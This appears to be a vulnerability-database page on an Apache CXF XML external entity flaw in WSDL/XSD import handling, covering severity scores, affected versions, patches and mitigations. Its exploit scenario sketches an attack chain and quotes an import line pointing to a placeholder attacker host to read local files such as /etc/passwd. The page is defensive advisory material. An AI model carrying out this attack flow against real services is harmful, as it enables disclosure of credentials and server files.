Skip to main content

Apache CXF CVE-2026-65432

| EUVDEUVD-2026-53856 HIGH
Improper Restriction of XML External Entity Reference (CWE-611)
2026-08-06 apache GHSA-jvhw-7q2c-2r65
7.5
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control or compromise WSDL import endpoint
  2. Delivery
    Serve malicious XSD with DOCTYPE external entity declaration
  3. Exploit
    CXF service fetches WSDL, delegates import to WSDL4J without XXE protection
  4. Execution
    WSDL4J resolves external entity against local filesystem
  5. Persist
    Sensitive file contents returned in SOAP fault or out-of-band HTTP request
  6. Impact
    Attacker retrieves exfiltrated data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration XML external entity prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target Apache CXF service to process a WSDL document containing at least one <wsdl:import> or <xsd:import> element whose referenced resource is under attacker influence or control. The attacker must be able to serve a malicious XML document at the URL specified in the import element - this can be achieved by controlling the import endpoint directly, performing DNS hijacking, or conducting a man-in-the-middle attack on an unencrypted (HTTP) import URL. CXF deployments that use only self-contained WSDL with no external imports, or that resolve all imports exclusively from the local classpath, are not vulnerable regardless of CXF version. The attack does not require authentication against the CXF service itself; the vulnerability fires during the WSDL parsing pipeline. Exploitation is further limited by the requirement for the CXF process to have outbound network connectivity to the attacker's server for the import fetch, and by the file-system permissions of the CXF service process account governing what local files can be disclosed.

Impact

No vendor or NVD CVSS score is available for this CVE, requiring all metric estimates to be independently assessed from the description. The vulnerability class (CWE-611) is well-understood and high-impact when exploitable, commonly yielding local file reads (credentials, private keys, /etc/passwd) and SSRF that can pivot into internal networks. The key limiting factor is that the attacker must control or inject content at a URL referenced by the target service's WSDL import chain - this is moderate attack complexity (AC:H in CVSS 3.1 terms) rather than a trivially mass-exploitable condition. The absence of a CISA KEV listing and lack of any referenced POC suggest no confirmed widespread exploitation at time of analysis, though absence from KEV is not a confirmation of safety. Risk is highest for CXF deployments that resolve WSDL imports from external or semi-trusted network locations; deployments using only local, classpath-embedded WSDL with no remote imports have materially reduced exposure. Three active release branch patches are available, making remediation straightforward - this should be treated as a priority upgrade rather than a low-severity finding, given the potential impact of XXE in a privileged service process.

Exploit ScenarioDerived

An attacker who controls a publicly accessible web server crafts a malicious XSD file containing a DOCTYPE declaration with an external entity pointing to a sensitive local file on the target server, such as a database credentials file or /etc/passwd. A CXF service under attack has a top-level WSDL that contains an <xsd:import schemaLocation="https://attacker.example.com/evil.xsd"/> reference - either because the attacker poisoned a shared schema endpoint, performed a DNS hijack on the original import URL, or was able to influence the WSDL import configuration. When the CXF service initializes or reloads its WSDL, WSDL4J fetches and parses the attacker's XSD without XXE protections, resolves the external entity against the local filesystem, and the file contents are included in a subsequent SOAP fault or service response observable by the attacker. No public exploit code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

XML External Entity injection in Apache CXF's WSDL import processing allows attackers who can influence imported WSDL or XSD documents to bypass XXE protections applied to the top-level WSDL. CXF correctly hardens top-level WSDL parsing via StaxUtils, but delegates all <wsdl:import> and <xsd:import> resolution to WSDL4J, which lacks equivalent DOCTYPE and external entity restrictions - creating a security boundary mismatch that nullifies the top-level protections. No public exploit has been identified at time of analysis, but CWE-611 is a well-understood attack class with established tooling; successful exploitation against vulnerable deployments can yield arbitrary server-side file reads and SSRF. Vendor-released patches are available across three active release branches.

RemediationAI

The primary fix is upgrading to a patched Apache CXF release: 4.2.3 for 4.2.x deployments, 4.1.8 for 4.1.x deployments, or 3.6.12 for 3.6.x deployments, as specified in the Apache advisory at https://lists.apache.org/thread/5qs207krzg51jl3zs3cvnl5lt9njp8c3. If immediate upgrade is blocked, a targeted compensating control is to audit all WSDL service definitions in the application and convert any external import URLs to local classpath references (e.g., using classpath: URI scheme), eliminating the attacker's ability to inject malicious content via the import chain - note this may require refactoring service configuration and could break functionality if remote schemas are integral to the service contract. As an additional network-layer defense, restricting outbound HTTP/HTTPS from the CXF service host reduces SSRF reachability and out-of-band data exfiltration via external entity fetching, though this does not prevent local file disclosure. Test network egress restrictions carefully before enforcing to avoid disrupting legitimate schema resolution. No workarounds for disabling WSDL4J's entity resolution directly are referenced in the advisory.

Affected VersionsENISA

Apache CXF 4.2.0 <4.2.3
Apache CXF 4.0.0 <4.1.8
Apache CXF 0 <3.6.12

Affected Packages

euvd apache_cxf fix: 3.6.12, 4.1.8, 4.2.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache CXF (cpe:2.3:a:apache_software_foundation:apache_cxf:*:*:*:*:*:*:*:*) is a Java web services framework supporting SOAP and REST, widely used in enterprise environments for contract-first (WSDL-driven) service development. When loading a WSDL service definition, CXF uses its own StaxUtils-based XML parser for the top-level document, which disables XML DTDs and external entity resolution in compliance with guidance for CWE-611 (Improper Restriction of XML External Entity Reference). However, any document transitively referenced via <wsdl:import> or <xsd:import> is handed off to WSDL4J - a separate, third-party library - which does not enforce the same restrictions. Because WSDL definitions routinely reference external XSD schemas, this delegation path is a normal, expected code flow, not an edge case. The result is that an attacker-controlled import target can introduce DOCTYPE declarations and external entity references that the top-level parser never sees, bypassing the security hardening entirely at the WSDL4J parsing stage.

Know when Apache Cxf gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 6.5 MEDIUM

AC:H because attacker must control a resource in the WSDL import chain; C:H for arbitrary local file disclosure via XXE; A:L for potential entity-expansion DoS; no integrity impact from read-only XXE.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N
Red Hat 8.6 HIGH

Primary rating from Vendor (apache).

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
Aug 06, 2026 - 12:01 EUVD
CVE Published
Aug 06, 2026 - 10:26 cve.org
HIGH

DescriptionCVE.org

Apache CXF reads a top-level WSDL through its hardened StaxUtils path, which disables XML DTDs and external entities. However, any <wsdl:import> or <xsd:import> referenced from that top-level WSDL is handed off to WSDL4J, which does not disable DOCTYPE declarations or external entities. As a result, the protections applied to the top-level document do not extend to imported documents, leaving imported WSDL/XSD content vulnerable to XML External Entity (XXE) attacks. Users are recommended to upgrade to versions 4.2.3 or 4.1.8 or 3.6.12, which fix this issue.

Executive ViewAI

Why It Matters

Apache CXF's WSDL parsing contains an XML External Entity injection vulnerability that could allow attackers to read sensitive files and execute server-side request forgery attacks against systems using the framework. The flaw bypasses security hardening by delegating imported WSDL and XSD document handling to a less-restrictive library, creating a critical exposure for organizations managing web services through CXF. Patching and restricting external WSDL sources are essential to protect against confidentiality and lateral movement risks.

Business Impact: High
Compensating Controls

Patch available per vendor advisory. If patching cannot be completed immediately, restrict CXF deployments from accessing external or untrusted WSDL and XSD sources through firewall rules; implement input validation on dynamically provided WSDL documents; and enable verbose logging of XML parsing operations to detect exploitation attempts.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Medium
widely-used enterprise Java SOAP/web services framework
Data Quality
4 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

XML External Entity (XXE) attacks exploit XML parsers that process Document Type Definitions (DTDs) without proper restrictions.

CVE-2026-44930 CRITICAL
9.8 May 22

Arbitrary certificate disclosure in Apache CXF's XKMS server lets remote attackers abuse an LDAP injection flaw (CWE-90)

CVE-2026-66909 CRITICAL
9.8 Aug 06

Unsafe deserialization in Apache CXF's JMS transport allows any party able to publish to the service's JMS destination t

CVE-2026-97468 CRITICAL
9.1 Oct 09

Token validation bypass in Apache CXF's STSTokenValidator and Security Token Service (STS) allows unauthenticated remote

CVE-2026-107938 CRITICAL
9.1 Oct 09

Man-in-the-middle attackers can impersonate any TLS server contacted by Apache CXF's optional Netty-based HTTP client tr

CVE-2026-100227 HIGH
7.5 Oct 09

XML signature wrapping in Apache CXF's JAX-RS XML Security module allows remote, unauthenticated attackers to have unsig

CVE-2026-97791 HIGH
7.5 Oct 09

Trust bypass in Apache CXF's STSTokenValidator allows a remote, unauthenticated attacker to have a forged SAML assertion

CVE-2026-78384 HIGH
7.5 Oct 09

A remote, unauthenticated attacker can exhaust server heap memory in Apache CXF by submitting a small (kilobyte-scale) D

CVE-2026-44417 HIGH
7.5 May 22

Remote code execution in Apache CXF (versions before 3.6.11, 4.0.0-4.1.5, and 4.2.0) arises because the fix for CVE-2025

CVE-2026-64958 HIGH
7.5 Aug 06

Denial of service persists in Apache CXF due to an incomplete remediation of CVE-2026-50645, allowing unauthenticated ne

CVE-2026-61466 CRITICAL
9.1 Aug 06

Authorization scope escalation in Apache CXF's OAuth2 Dynamic Client Registration endpoint allows any registering client

CVE-2026-79650 MEDIUM
6.1 Oct 09

Open redirect in Apache CXF's OIDC relying-party component lets remote, unauthenticated attackers steer users to an atta

CVE-2026-44618 MEDIUM
5.3 May 22

XML External Entity injection in Apache CXF's WS-Transfer module exposes SOAP endpoints to server-side file read and int

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy